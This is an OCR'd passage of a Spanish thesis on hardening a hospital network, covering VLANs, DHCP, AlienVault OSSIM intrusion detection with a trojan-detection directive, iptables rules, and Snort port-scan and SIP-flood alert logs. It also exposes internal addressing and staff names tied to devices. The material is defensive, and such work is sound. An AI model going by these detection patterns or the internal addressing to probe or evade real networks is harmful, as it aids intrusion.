Con esta configuracion se evita que un equipo pueda ser miembro de varias Vlan al
conectarse a un puerto en modo autotrunking. Para evitar que el trafico de voz pase
por los segmentos de red de datos, se establecié puertos en modo trunk configurando

los teléfonos IP con las VLANS respectivas, para voz y datos.

Al establecer la VLAN de voz en los switch, se otorga la prioridad respectiva (7) de
acuerdo al estandar IEEE 802.1Q, ademas se establece la Vlan de datos como Vlan

nativa del puerto, de esta forma las tramas tendran la etiqueta respectiva.

Esta configuracion implica la configuracion del teléfono IP definiendo el soporte para
VLAN.

Los teléfonos utilizados son ATCOM 620Ap y los parametros configurados son:

1. Red LAN tipo Bridge.
2. Habilitar VLAN.
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3. Designar Vlan de Voz con prioridad 7.

Esta prioridad permite el envio oportuno de las tramas de Voz, garantizando la
calidad del servicio. Estos niveles de prioridad se corresponden con los
establecidos por el estandar IEEE 802.1p®.

Designar Vlan de datos con prioridad 1.
Definir la diferenciacién de paquetes como data untagged, ya que la Vlan de datos

se configur6 como Vlan nativa o pvid del puerto.

Para verificar lo antes indicado se utilizé la herramienta Wireshark de Backtrack,
receptando todos los paquetes generados entre el teléfono y el servidor, en donde se
puede observar la diferenciacion de servicio (DSCP Diffserv CodePoint) en las tramas

recibidas por el servidor.

Tim

PT=ITU-T
Time=23131368

10 RTP PT=ITU-T G.722, SSRC=0x5759D7CA, Seq=9

72104 634.392846 10.104

72105 634.396987 10.104.33.10 10.104.33.2 RTP PT=ITU-T G.722, SSRC=0x66334873, Seq=42373, Time=958168
72106 634.397021 10.104.33.2 10.104.33.172 RTP PT=ITU-T G.722, SSRC=0x463950AF, Seq=53771, Time=958168
72107 634.412175 HewlettP_8f:91:1'Palmmicr_57:86:9 ARP Who has 10.104.33.987 Tell 10.104.33.2

72108 634.412206 10.104.33.172 10.104.33.2 RTP PT=ITU-T G.722, SSRC=0x20613B, Seq=14637, Time=23131529
72109 634.412214 10.104.33.2 10.104.33.10 RTP PT=ITU-T G.722, SSRC=0x5759D7CA, Seq=961, Time=23131528

bl Internet Protocol, Src: 10.104.33.172 (10.104.33.172), Dst: 10.104.33.2 (10.104.33.2)

llustracion 111. Paquetes generados entre el teléfono y servidor VolP- Wireshark.

% Acceso seguro ala administracion de equipos.

Para la administracién de los equipos de red se establecié una Vlan dedicada, asi
como reglas de control de acceso para permitir el acceso solamente desde equipos en

este segmento de red.

% |EEE P, Q, QoS on the MAC Level,
http://www.tml.tkk.fi/Opinnot/Tik110.551/1999/papers/08IEEE802.1QosInMAC/qos.html, chap2.3, [Fecha de consulta:
2011-12-10]
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2.5.2.2. Seguridad en Capa 3

Debido a la necesidad de comunicar VLAN de usuarios con VLAN de Servidores, se
realizd la configuracion de ACLs para permitir o denegar el acceso entre VLANS,
equipos y servidores, como se establecié en el disefio. En el tema 2.8 Validacion de
la seguridad logica de red implementada, se realiza la verificacion de las reglas

implementadas.

2.6. Instalaciéon y Configuracién Servidor DHCP

Disponer del servicio de DHCP de forma independiente evita depender de la
disponibilidad del servidor firewall y ademas previene la difusion de trafico de la red

local hacia redes externas debido a cualquier configuracion errénea del firewall.

Interfaces de Red

etho

Nombre: gihg

Métada: Esttico -

Externo (WAMN): B
Marque aqul si estd usando Zentyal como gateway v este interfaz estd conetado a su router a Internet

Direccion IP: 10.104.,31.27

Miscara de red! 255,255 255,224

255.255.255.0 w S

llustracion 112. Instalacion y configuracion del servidor DHCP-Interfaces de Red.

El servicio de DHCP se instal6 en un servidor de la red interna, con dos interfaces de
red, para la administraciéon y otra que se configura con soporte 802.1qg lo que permite

crear VLAN con su respectivo identificador.

Cada interface de VLAN se corresponde con la ultima direccion IP de cada rango. El
Gateway de los equipos de usuario final es la direccion IP de la VLAN correspondiente

en los equipos Core y el DNS, la direccién IP de Zentyal.
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DHCP  (mostrar ayuda)

Choose a static interface to configure: Interfaz vlandd «

J Opciones personalizadas Opciones de DS dindricg Opciones avanzadas

Puerta de enlace predeterminadai pireccian IP personalizada « 10,104,361
Configurando "Zentyal” como router por defectn establecer la direccién IP del interfaz como
router
Dominio de bisgueda: winguna -
El darninio seleccionado cornpletard en tus clientes aguellas peticiones DMNS que no estan
campletamente cuslificadas
Servidor de nombres primario; personalizado - 192.168.1.2
Si "Zentyal DMS" estd presente y selecaionado, el servidor Zentyal actuard coma servidor DNE
caché
Servidor de nombres secundario:
Opcional
Servidor NTP: Ninguno -
Si "Zentyal NTP" estd presente v es seleccionada, Zentyal serd el servidor NTP para los clientes
DHCP
Servidor WINS! Ninguno -

Si "Zentyal Samba" estd presente ¥ selecionada, Zentyal serd el servidor WINS para los
clisntes DHCP

Direccion 1P del interfaz: 10.104.36.254
Subred:10.104.36.0/24
Rango disponible: 10.104.36.1 - 10.104.36.254

llustracion 113. Configuracion de DHCP por VLAN.

Para garantizar que los equipos que no correpondan a funcionarios de la institucion
obtengan una direccion IP y accedan a la red utilizando este servicio, se configura el
direccionamiento automatico, creando los objetos de la red con direcciones IP ligadas
a una direccion MAC.

Objetos » Medicos (mostrar ayudal
op Afadir nuevoia

CEXT-Victaria Bricena 10.104.36.31/32 00:1C:C0: &
ESTD-Carmen Puglla 10.104.36.17/32 00:19:01: e
ESTD-Dalinda Apala 10.104,38.22/32 00:19:01: W
ESTD-Lorena Samaniego 10.104.36.23/32 00:27:0E:1 W&
ESTD-Patricia 10.104,36.20/32 00:1C:C0: W
Estd-Diana Leon 10.104.36.32/32 00:27:0E:: | 4
LAB-Clara Bravo 10.104.36,8/32 00:1C:CO: | P
Lag-Cultiva 10,104 .38.14/32 00:27:0E: W
LAB-Cultivoz 10.104.36.15/32 00:27:0E: W&
LAB-Cultivo3 10.104.36.12/32 00:27:0E: | Fa

llustracion 114. Creacion de Objetos.
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2.7. Implementacion del Servidor SIM como NIDS

La instalacion y configuracion de AlienVault como Servidor de monitoreo y deteccion
de intrusos se realiz6 considerando cada uno de sus componentes: ossim-server,

ossim-framework y ossim-agent.

El equipo NIDS instalado trabajard como monitor y servidor. Durante la instalacion de
AlienVault se seleccion6 los plugins correspondientes a los agentes detectores y

monitores que se implementaron:
+ Detectores

Ademas de Ossim-agent se instalaron los siguientes plugins:

— Arpwatch: Utilizado para detectar el uso del envenenamiento ARP en un sistema,
opera mediante la correspondencia entre pares IP-MAC (Ethernet).

— ClamAV: Detectara equipos que generen trafico debido a virus instalado en su
sistema.

— Nagios: Detectara fallas en la disponibilidad de servicios de los activos de la red.

— Nessus_detector: Detectara vulnerabilidades en los activos de la red.

— Ossec: Genera alertas a partir del analisis de los logs, y base de datos del agente.

— POf: Passive OS Fingerprinting, una herramienta de deteccion pasiva que funciona
paralelamente con el IDS, hace un mapeo del Sistema Operativo de los hosts que
existen en la red.

— Pads: Sniffer que permitira detectar activos como Nmap pero de forma pasiva,
colabora con el trabajo de Snort.

— Snort: Es un IDS Snort que realizard un andlisis de trafico identificando los
protocolos en blusqueda de contenido, ademas de detectar buffer overflows,
escaneo sigiloso (stealth) de puertos, intentos de fingerprint de Sistema Operativo,
pruebas SMB, detectando gusanos, malware y violaciones de politicas (Ejemplo:
P2P, pornografia).

— SyslLog: Utilizado para la transferencia de mensajes generados en el Sistema

Operativo, por actualizaciones o alteraciones de los registros.

% Monitores

En esta seccidn se encuentra ossim-monitor y los siguientes programas:
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— Nessus: Permitira la correlacion de Vulnerabilidades con la deteccion de intrusos
de SNORT para determinar el nivel de riesgo de un activo y generar alertas.

— OpenVas: Para el andlisis y deteccion de vulnerabilidades.

— Nmap: Realizard el escaneo de puertos y sistemas activos para el inventario de
red.

— Ntop: Permitira obtener estadisticas de uso de la red por cada equipo, detectando

tiempo de sesiones activas y abusos de la red.

Tickets abierto ([ wsx. priovidad [JE Global

.

. ult

o sinvesolver alarmeas ([ Ui M riesso (D puntuacin ll
. riesgo 8

n Open Source SIEM

Habilitar el control de
actualizacion automatica?
i No

40 Cuadros de mando Sensores Origenes de daios | Descargas
£ Invidencios = 10.104,31,23  ossin ] [l [ LEVANTADO o HABILITADO: 19 ] ABAJO 0 DESHABILITADO: 2 ] Tatales: 19
) Anilisis [ Plugin Estado proceso Accién Estado del plugin Accidn (ltimo evento de seguridad
& pif LEVANTADOD Detener HABILITADOD Desactivar ~ 2042-67-17 22:58:31 pOF: New 0§
Informes
¢ sudo Desconncido ° HABILITADD Desactivar
PR
sm Actitos & nagis LEVANTADO Detener HABILITADO Desactivar
Y Inteligencia # whais Desconacido - HABILITADO Desactivar
# syslog Desconacida - HABILITADO Desactivar  202-62-17 23:38:08 Syslogs syslog entry
| Conocimiento situacidn
# pads LEYANTADD Detener HABILITADO Desactivar 276217 224107 pads: New service detected
g -acio
Gl # nmap Desconocida - HABILITADO Desactivar
b Principal #  ping-monitar Desconacido - HABILITADO Desactivar
b Usuarios L snort LEYANTADO Detener HABILITADO Desactivar  20i2-02-17 73:3%:26 snort: "ET POLICY Python-urllib/ Suspicious User Agent”
¥ Componentes Alisnvautt % pam_unix LEYANTADO Detener HABILITADO Desactivar  2042-82-17 21:20:4% userdel: Check pass
) Coleccidn ¢ nkop LEVANTADO Detener HABILITADO Desactivar

llustracion 115. Sensores OSSIM hailitados

La seleccion de las herramientas de AlienVault se realiz6 durante la instalacion,
ademas de la configuracién de las interfaces, tanto para monitoreo como para

administracion.

La generacion de eventos se realiza en base a las reglas establecidas por cada
software agente y monitor de acuerdo a una base de datos de eventos de seguridad

conocidos.
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FUENTES DE DATOS
& Inserte el nuevo tipo de evento | Editar

Id or\genﬁde datos Mombre Tipo Tipo de fuente Descripoion
1001 snott Detector (1) Snort Rules
1002 snort_tag Detector (1) Snort Tagging
1003 snort Detector (1) Snort Dynamic Slert
1100 spp_portscan Detector (1) Portscant
1101 spp_minfrag Detector (1) Minfrag
1102 hittp_decods Detector (1) HTTP decods 112
1103 spp_defrag Detector (1) First defragmenter
1104 Spp_snomsensor Detector (1) SPADE
1105 spp_ho Detector (1) Biack Crifice
1106 spp_rpc_decode Detector (1) RPC Preprocessor
107 spp_streamz Detectaor (1) 2nd stresm preprocessor
1108 spp_stream3 Detector (1) 3rd stream preprocessor
1109 spp_telnet Detector (1) Telnet option decoder
1110 spp_unidecode Detector (1) Unicode decoder
1111 spp_streamd Detector (1) Streamd preprocessor
1112 spp_arpspoot Detector (1) Arp Spoof detector

llustracion 116. Origenes de los datos en Alienvault.

2.7.1. Activos de Red

AlienVault puede identificar los equipos existentes en la red en base al trafico que
puede escuchar a través de la interfaz de monitoreo, sin embargo, es importante
determinar los equipos activos de la red para el establecimiento de politicas que
determinaran las alarmas en base a los eventos generados y el nivel de riesgo en

base al valor del activo.

() Cuadros de mando Equipos Grupos de equipos | Gruposderedes | Pueros
3:5 Incidencias Equipos
i Andlisis |d Mueva || Modificar =] Barar seleccionades | Duplicar seleccionados (%) Edicign de credenciales | Selectionartodo [ Importar desde
_ 9, Exportacidn de todo a C8Y [ Aplicar
Informes o 2 i Hho
Mombre ecuipo P FaDMNislias  Descripch  Valor de los activos SENSOFES Thr_C Thr_& Aletta Par Perfil RRD
& Activos
10.104.33.86 1010433 56 3 assim o am ] 0 Defaut
» Ativos 10.104.33.95 101043385 3 assim 30 am n 0 Defaut
» Blistuieda de acitvos 10.404.32.98 101043398 3 ossim W a0 0 0 Detaut
» Descubrimiento de activas | | 49104364 10104361 3 ossim U] 0 0
% Inteligencia 10.104.36.11 101043611 3 ossim 30 300 i 0
S - ” 10.104.36.13 101043613 9 ossim 300 300 1] [1}
|g Conocimiento situacién
10.104.36.14 101043614 3 ogsim 300 300 1] i}
& Configuracion
10.104.36.05 101043615 3 ossim 30 300 i 0
10.104.36.26 10104.36.26 WLAN Me 3 os3im 300 300 1] i} Defautt
10.104.36.35 10:104.36.35 VLAN Me 3 og3im 300 300 1] [1} Detautt

llustracion 117. Identificacién de Activos en Alienvault.
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Se habilité el plugin de nagios de manera que se pueda determinar la disponibilidad de
los servicios de cada activo.

Para ineventariar los activos de la red, se utilizé el software OCS-Inventory Agent para
los sistemas Windows.

2.7.2. Politicas

La configuracion principal de AlienVault comprende la creacion de politicas y el

tratamiento de activos con el perfil adecuado.

Se crearon politicas para los activos de red considerando las bases de datos de
eventos de seguridad proporciondos por AlienVault que agrupa en diferentes tipos
cada uno de estos eventos.

' i an: Servicio
m" alienVault (7 e s o s W st B gy T
UL pen Source SIEM |disponibles sin resolver atarmas ([ECH Ul e vesgo [END gttt ""md“
) Cuadros de mando Politica iras 7
é‘l Incidencias &
=
i Anilisis ik Nuevo d Madificar | =} Borrar seleccionadas . Duplicar seleccionados _;j, Recargar polticas %, Habilitar/deshabilitar politica
(TS Estado  Crd  Origen ¢ Destino = Grupo e Puertos Grupo OD Sensores Rango de Tiempo Objetivos  SIEM  Configurs Evaluac Correla La corr SGL de IP Rep
L ¢ 5 10408382 Bitnets nssim Lun Oh - Dam 23h © . & & & & | &
dea Activos Bruteforce
. Denial Of Service:
5" Inteligencia Malavare
Netwaork Anomalies
¥ Politicay acciones F2p &
Porn
¥ Directivas de correlacin Spyware ‘
Trajan
¥ Complisnce Mapping irus 8
., Wi
¥ Carrelacion Cruzada Wel Atacks ‘
B Conocimiento situacion 4 4 ] . ServidorSGH Botnets ossim Lun Oh - Dom 23h L] - L] L] L] L] LA
Bruteforce
. Denial Of Service
)!e Configuracion Malware
Metwork Anomalies:
P2P
Forn
Spyware
Troian
Virus
‘Weh Attacks %

llustracion 118. Politicas y Acciones.

El objetivo de AlienVault es coleccionar y relacionar los eventos generados por los

agentes y determinar el riesgo al que se exponen los activos de la red:

En la configuracion de las politicas y directivas de correlacion se configuro la accion a
realizar al producirse un evento de seguridad, esto es: la generacion de una alarma,

un ticket y el envio de correos de alerta.
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La correlacion es un proceso en el que se van evaluando condiciones hasta que estas
llegan a un estado de riesgo, si se detectan varios sucesos que puedan indicar una

situacion peligrosa, entonces se lanza la alarma.

Una de las dificultades de la correlacién es el saber establecer correctamente politicas
que no den muchos falsos positivos y sobre todo que detecten las situaciones de
riesgo.

Directivas Propiedades Backlog

Ijnﬁmwmrmjanhtecﬁmmsm_m I

AVT-FEED
Zeus
v o 7| e %% & micsteder| | 45 s 1 LRCP LOSTIP AN A Ay st (1001) | 2008861 21
Trojan HTTP
POST
AWT-FEED
s B Gerr e B 3600 100 1SRCIP LOSTIP A aare vy soort (toon) 2006881 20
vy
~ Propiedades I i PCL ( Alarmas I X0B ) i

llustraciéon 119. Directivas de Correlacion.

Todas las directivas estan configuradas de modo que el origen y destino sea cualquier
red, lo que se puede modificar en base a las necesidades de alerta sobre ciertos

activos, 0 a su vez crear nuevas directivas.

Cada directiva se compone de varias reglas relacionadas entre si, las cuales definen
cuando se cumple directiva para generar la alarma.

La siguiente ilustracion muestra la definicion de reglas para la deteccion de troyanos,
obtenida del directorio de ossim-server.
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2P 10.104.31.29 - Pully

l?xml ver=sion*'1.0' encoding='UTF-8' 2>

(<directive 1d="24000" name=~Doly Trojan®™ prioricy«"S">
<rule type="detector” name*"Intrusion rule matched” reliabilicy="2"
occurrence="1" from="ANY" To="ANY" port_from="ANY” port To="ANY"
\_ piugin id="1001" plugin sid="119,6 1985">
<rules>
(<rule type="detector™ name~"Rare but open dest port used” reliability="+47)
occurrence="1" from="1:SRC_IP" to="1:DST_IP" port_Irow="1:SRC_PORT"

\pozrt to="1:DST PORT™ plugin id="1104" plugin =id="101"> J
<rules>
( <rule type="monitor” name="More than 30 secs persisctence” )

reliability="+42" frow="1:SRC_IP" to="1:D3T_IP"
port_from="1:SRC_PORT" port_to="1:DST_PORT" plugin_id«"2Z00S"™
plugin_sid="008" condition="ge”™ valiue="30" interval="is"

TT7

\_ time out="30" ab=olute="true"/> )

( <rule type""monitor” nmme="itctacked host's C raised” )
reliabilicy="+1" from="1:DST_IP" plugin_ id="zZOoO1"™
plugin sid="1" condition="ge"” value="200" interval="10"

\_ cime ouc="600" absolute="rfalse"/> )

</rules>
</rule>
</rules>
</rule>

</directive>

llustracion 120. Directivas antitroyanos en Ossim Server.

En primera instancia se define la directiva cuyo nombre es Doly Trojan con
prioridad de 5.
Como regla principal se define “Una conexion extrafia a un puerto abierto” y
aumenta la fiabilidad en 4, los puertos fuente y destino son “1:SRC_IP” vy
“1:DST_IP” respectivamente, lo que indica que esta regla tomara los valores de la
regla de primer nivel para estos parametros.
La regla de tercer nivel indica: “Mas de 30 segundos de persistencia de la
conexion”, aumenta la fiabilidad en 2 y evalua una condicién “ge” ya que es una
regla de tipo monitor. Esta condicion indica:

- Eq: Igual.

- Ne: Noigual.

— Lt Menor que.

- Gt: Mayor que.

- Le: Menor o igual que.

- Ge: Mayor o igual que. Para el valor “value” segun el evento nombrado.

El intervalo indica el espacio de tiempo entre eventos, y el tiempo constituye el

tiempo de vida de la regla hasta el proximo evento.

El parametro absolute determina si el valor proporcionado es absoluto o relativo.
Por ejemplo, si tenemos un valor de “30”, una condicion “ge” y un intervalo de 15

(segundos), para un evento de stop “HttpSentBytes” significa:
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Si el valor es true, la condicién se cumplira si el equipo envia 30 bytes 0 mas
durante 15 segundos por el protocolo http. Si el valor es false, la condicion se
cumplird si el equipo realiza un incremento en 30 bytes durante el periodo de 15

segundos, por el protocolo http.

4. La cuarta regla de tipo monitor indica que el host a alcanzado un nivel C
(Compromiso) elevado, dados los valores de los pardmetros para esta regla.

% Riesgo

AlienVault permite calcular el riesgo de forma automética. Para ello cuenta con los
parametros prioridad y fiabilidad. Cada evento que pueda suceder en la red debe tener
asociado una prioridad y una fiabilidad. La prioridad, se define por la importancia de un
evento si este se convierte en un ataque exitoso, es decir, como de perjudicial puede
llegar a ser. El valor de la prioridad puede ser de O a 5. El valor del riesgo obtenido
serd de 1 a 10, si este excede a 1 se lanza inmediatamente una alarma.

Riesgo = (Activo * Prioridad * Fiabilidad) / 25

% Configuracion desde consola

La configuracion basica e instalacion de plugins se puede realizar también desde la

consola, via SSH o en la maquina local:

AlienVault Setup :: Main Menu
Welcome to AlienVault Setup!

Select an Option:

Change General Settings)
Change System Profile
Change Sensor Settings
System Update

System Upgrade

View Log

g
2]
&
4
5
[
7 Bave & Exit

<Cancel>

llustracion 121. Configuracion principal de AlienVault.

En la consola de comandos se escribe:
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#ossim-setup

Aparece un cuadro de dialogo que nos guiara por la configuraciéon de OSSIM. Otra
opcion es el caso de la modificacion de los archivos de configuracion utilizando el
editor VIM.

Los archivos de configuracién se encuentran en los siguientes directorios:
— Configuracion global — /etc/ossim/ossim_setup.conf

— Configuracion del servidor — /etc/ossim/server/config.xml

— Configuracion del framework — /etc/ossim/framework/ossim.conf

— Configuracion del agente — /etc/ossim/agent/config.cfg

Es importante destacar que Alienvault dispone de una configuracién de IPTABLES
para control de acceso, la cual se puede habilitar o deshabilitar en la configuracion
global.

5 101043129 rurV

¥ Automatically generated by ossim-reconfig scripta. DO NOT HODIFY!
tfilrer

fINPUT ACCEPT [0:0]

:FORWARD ACCEPT [D:0)

tQUTPUT ACCEPT [D:0]

-k INPUT =p ICHP =--icmp-type timestamp-cequeat =3 DROP

=L OUTPUT -p ICHP --icmp-type timestamp-reply -3 DROP

=&k INPUT =p icmp =] ACCEPT

=4 INPUT =i lo =3 ACCEPT

-k INPUT -m scate --stace RELATED, ESTABLISHED -j ACCEPT

=& INFUT =p tCcp =mn atate ==-acate NEW =m top ==dpoEt 22 =] ACCEPT
-4 INPUT -p Ecp -m state --state NEW -m top --dport 33800 -3 RECEPT
=& INPUT -1 tun+ -3 ACCEFT

=& FORMARD -i tun+ -3 ARCCEFT

-4 QUTPUT -o tun+ -3 ACCEPT

=A FORWARD -0 tum+ =3 ACCEPT

=& INPUT -p tcp -m state --state NEW -m top --dport 3306 -3 127.0.0.1 -3 ACCEPT
=k INPUT -p EEp -m State --scate NEW -m tep --dpore 3306 -2 10.104.31.29 =3 ACCEPT
A INFUT P tocp =m state atate NEW =-m top dport 4949 =3 10.104.31.29 =3 ACCEFT
=L INPUT -p ccp -m stAate --scate NEW -m top --dport 40001 -3 RCCEPT

=A INPUT =p ©Cp =m =2cace ==acate NEW =m top ==dporc 40002 =3 RCCEPT

llustracion 122. Configuracion de iptables en AlienVault
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2.8. Validacion de la seguridad l6gica de red implementada
2.8.1. Verificacion de acceso mediante SSH en equipos de red.

Para probar el acceso a los equipos mediante SSH con el usuario previamente creado
se utilizé el software Putty en Windows.

Categary:
= S_ession Basic options for pour PUTTY session
H - Logging Specify the destination you want to conhect to
= Terminal
[ Host Mame [or IP addiess] Poit
K.evboard
- Bell 10.104.31.3 22
i Features Connection tppe:
= Window () Raw () Telnet () Rlogin @ S5H () Serial
P Appea.rance Load. zave or delete a stored session
B ehaviour
.. Tranzlation Saved Sessions
- Selection
i e Colours :
Default Settings
= Conhection ﬂ]
.. Data Save
e
- Rlogin
- 55H
- Seral Cloze window on exit:
() Always () Mewer @) Only on clean exit
[ About ] [ Help ] [ Open ] [ Cancel ]

llustracion 123. Prueba de acceso SSH a equipos de red.

ERlolo L Bl

ilc;xu as!

I

;l;lalv;\ll?li. 104.31.3's passwvord:

R I T T oo
* Copyright(c) 2004~2010 3C . and 1ts licensors. All rights reserved. ’
. Vithout cthe owner's prior wrl n consent, .
* no decompiling or reverse-engineering shall be allowed. "
RN

R A R R R R R RN R R IR

0:06:45:423 2000 Discl SF

: return to User View with Curl+el,

llustraciéon 124. Acceso remoto con SSH al switch de distribucion.

2.8.2. Verificacion de VLANs y ACLs en equipos de red

Se puede verificar que el acceso a los equipos de red solo se puede realizar desde la
VLAN Administracion.
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jhoma@jhoma-laptop:~$ telnet 10.104.31.1
Trying 10.104.31.1...

Connected to 10.104.31.1.

Escape character is '*]'.

%connection closed by remote host!Connection closed by foreign host.

llustracion 125. Verificacion de acceso a equipos de red 1.

jhoma@jhoma-laptop:~$ ping 16.104.31.29

PING 10.104.31.29 (10.104.31.29) 56(84) bytes of data.

~C

--- 10.104.31.29 ping statistics ---

6 packets transmitted, © received, 100% packet loss, time 5000ms

llustracion 126. Verificacion de acceso a equipos a red 2.

2.8.3. Verificacion de acceso entre VLANS

Se puede verificar que no se puede acceder entre VLAN de usuario final.

jhoma@jhoma-laptop:~$ ping 10.104.36.1

PING 10.104.36.1 (10.104.36.1) 56(84) bytes of data.

7

--- 10.104.36.1 ping statistics ---

2 packets transmitted, © received, 100% packet loss, t[:;ne 999ms

llustracion 127. Verificacién de acceso entre VLAN.

C:sDocuments and Setti ] EN] ing 18.184.37.32

Haciendo ping a 18.184.37.32 con 32 bytes de datos:

sontrol-C
cuments and Settings“\CLIENTE>ping 18.184.37.1

iendo ping a 10.184.37.1 con 32 hytes de datos:

b5 and Setting

llustracién 128. Verificacion de acceso entre VLAN 2.

2.8.4. Verificacion de alertas generadas por el NIDS AlienVault

Durante la fase de pruebas se pudo detectar una amenaza de virus en un equipo de

red que generaba paquetes UDP.
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Cuando un evento ha excedido el valor de las métricas de atague o compromiso se

envia un correo electronico al administrador, el correo puede a su

compartido a distintos usuarios a través de AlienVault.

vez puede ser

I M google.com | https://mail.google.com/mall/?shva=1#inbox (:l

-‘]' Gaogle

+You Search

Gmail Documents

Images Maps

Calendar Translate Books More ~

Go

Grail ~

Inbox 23)
Starred

Important

Sent Mail

;gl(’f

COMPOSE

C More 1-50 of 35 b3 o
no-replyglocalhost.local [ali incident] Bajo: Umbral de Mé: Nicel excedido A (global: global_admin) - [ncident details 416 pm
no-reply@localhost.local [ali incident] Bajo: Umbral de Mé: Hicel excedido C {global: glohal_admin) - Incident detailz 4:15 pm
zentyal-noreply (2) Eventa de Zentyal en Zentyal - wam : Hay B3 actualizaciones de sequridad. Los paguetes afectados son: lit 12:08 pm
nioteply Alert on Zentyal by Zentyal connectivity - Alert level : wam (3/45) Affected Zentyal sever: Zentyal Timestamp 9:20 am

it.isidroayora loja@ymail.com *

llustracién 129. Recepcién de correo de alertas.

| P google.com | hitps://mail google.commail/¥shva= 1#inb o 13630 43fc LaSalfg

c[[48- Gooste |

+You Search

Google

Gmail ~

COMPOSE

Inbox (21)
Starred
Impartant

Sent hail
Drrafts

Chat

Search people

® Hospital Isidro Ayor

Set status here

Images

Maps Gmail Documents Calendar Translate Books More -

“ a (] [ ] ] s Wore

[alienvault-incident] Bajo: Umbral de Mé: Nicel excedido C (global: global_admin)

Inbox  x

no-replyglocalhost.localdomain no-replyi@localhost. localdomain
tome =

A:15 Ph (5 hours ago)

Incident details

u ]
5]

Title: MET264 - Urnbral de Mé: Micel excedido C (global: global_adrmin)
Status: Open

Type: Metric - Expansion Yirus

Priority: 3 (Bajo)

In charge: Alien*/ault admin

Created: 2012-03-22 16:15:49 (00:00 ago)

Tagys:

Extra info:

% Call phone
Objetivo: global: global_admin
Tipo de métricas: Attack
Valor de métrica: 60
- Ticket details

llustracion 130. Notificaciones de correo de AlienVault.
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vo Editer Buscer Opciones Auda
03/22-14:43:50.230325 [+*] [1:100000160:2] COMMUNLTY SIF TCR/IP message flooding directed to SIP proxy [#*+] [Classification: Attempted Denial of Servicel [Priority: 2]

03/22-14;
03/22-14:

.352190 [**] [1Z2:3:0] (portscan) TCP Portsweep [**] [Priority: 3] {PROTO:Z55} 10.104.36.46 -» 211.100.44.208
8:49.501426  [**] [1:100000160:2] COMMUNLTY SIP TCP/IP message flooding directed to SIP proxy [**] [Classification: Attempted Denial of Service] [Priority: 2]

03/22-14:43:59. 364967 [**] [1:100000160:2] COMMUNLTY SIP TCP/IP message flooding directed to SIP prowy [%*] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:44:10.440670 [**] [122:3:0] (portscan) TCP Portswesp [**] [Priority: 3] {PROT0:255} 10.104.36.42 -» 211.160.44.208

03/22-14:44:14.324808 [**] [122:3:0] (portscan) TCP Portsweep [**] [Priority: 3] {PROTO:Z55} 172.16.2.2 -» 211.100.44.216

03/22-14:44:37.944502  [+*] [122:3:0] (portscan) TCP Portswesp [*¥] [Priority: 3] {PROT0:255} 10.104.36.46 -> 211.100.44.208

03/22-14:44:43.845605 [**] [1:100000160:2] COMMUNLTY SIP TCP/IP message floeding directed to SIP proxy [**] [Classification: Attempted Denlal of Servicel [Priority: 2]
03/22-14:44:46.156325 [**] [1:100000160:2] COMMUNLTY SIF TCP/IP message flooding directed to SIP proxy [**] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:44:57.017436  [**] [1:100000160:2] COMMUNITY SIF TCP/IP message flooding directed to SIP promy [**+] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:45:15.385130  [**] [122:3:0] (portscan) TCP Fortsweep [**] [Priority: 3] {PROTO:255} 172.16.2.2 -»> 211.100.44.205

03/22-14:45:30.517339  [**] [122:3:0] (portscan) TCP Portswesp [**] [Priority: 3] {PROT0:255} 10.104.36.42 -» 211,1€0.44.202

03/22-14:45:46.076960  [**] [1:100000160:2] COMMUNITY SIP TCP/IP message Tlooding directed To SIP proxy [**] [Classification: Attempred Denial of serviecel [Priority: 2]
(03/22-14:45:55.745085 [**] [1:100000160:2] COMMUNLTY SIF TCP/IP message floeding directed to SIP proxy [**] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:45:58.719921 [**] [1:100000160:2] COMMUNITY SIP TCR/IP message flooding directed to SIP proxy [**] [Classification: Attempted Denial of Servicel [Priority: 2]
05/22-14:46:11.640252  [**] [122:3:0] (portscan) TCP Portsweep [*¥] [Priority: 3] [PROTO:Z55} 10.104.36.46 -= 211.100.44.202

03/22-14:46:22.094767 [**] [122:3:0] (portscan) TCP Portswesp [*+] [Priority: 3] {PROT0:255} 172.16.2.2 -» 122.70.139.47

03/22-14:45:34.968110 [**] [122:3:0] (portscan) TCP Portsweep [**] [Priority: 3] {PROTO:Z55} 10.104.36.46 -» 211.100.44.208

03/22-14:46:37.710113  [**] [1:100000160:2] COMMUNLTY SIF TCP/IP message flooding directed to SIP prowy [#*] [Classification: Attempted Denial of Ssrvice] [Priority: 2]
03/22-14:46:45,030637 [**] [1:100000160:2] COMMUNLTY SIF TCR/IP message floeding directed to SIP proxy [**] [Classification: Attempted Denial of Servicel [Priority: 2]
03/22-14:46:54.420350 [**] [1:100000160:2] COMMUNLTY SIF TCP/IP message flooding directed to SIP proxy [**] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:46:59.394796  [**] [1:100000160:2] COMMUNITY SIP TCP/IP message flooding directed to SIP prosy [**+] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:47:04.561746 [**] [122:3:0] (portscan) TCP Portsweep [**] [Priority: 3] {PROTO:255} 10.104.36.42 -> 211.100.44.209

03/22-14:47:16.615285 [**] [1:100000160:2] COMMUNLTY SIP TCP/IP message floeding directed to SIP proxy [**] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:47:17.073364  [**] [122:3:0] (portscan) TCP Fortsweep [**] [Priority: 3] {PROTO:255} 172.16.2.2 -» 211.100.44, 208

03/22-14:47:47.507223  [**] [1:100000160:2] COMMUNLTY SIF TCP/IP message flooding directed to SIP proxy [**] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:47:49.168068 [**] [1:100000160:2]1 COMMUNITY SIF TCR/IP message flooding directed to SIP proxy [#*+] [Classification: Attempted Denial of Servicel [Priority: 2]
03/22-14:47:57.356757  [**] [1:100000160:2] COMMUNLTY SIP TCP/IP message flooding directed to SIP prowy [%*] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:47:59.356453 [**] [1:100000160:2] COMMUNITY SIP TCP/IP message flooding directed to SIP proxy [**+] [Classification: Attempted Denial of Service] [Priority: 2]
03/22-14:48:06.086579  [**] [122:3:0] (portscan) TCP Portsweep [**] [Priority: 3] {PROTO:255} 10.104.36.46 -» 211.100.44.202

03/22-14:48:18.866783 [**] [122:3:0] (portscan) TCP Portswesp [**] [Priority: 3] {PROT0:255} 172.16.2.2 -» 211.100.44.209

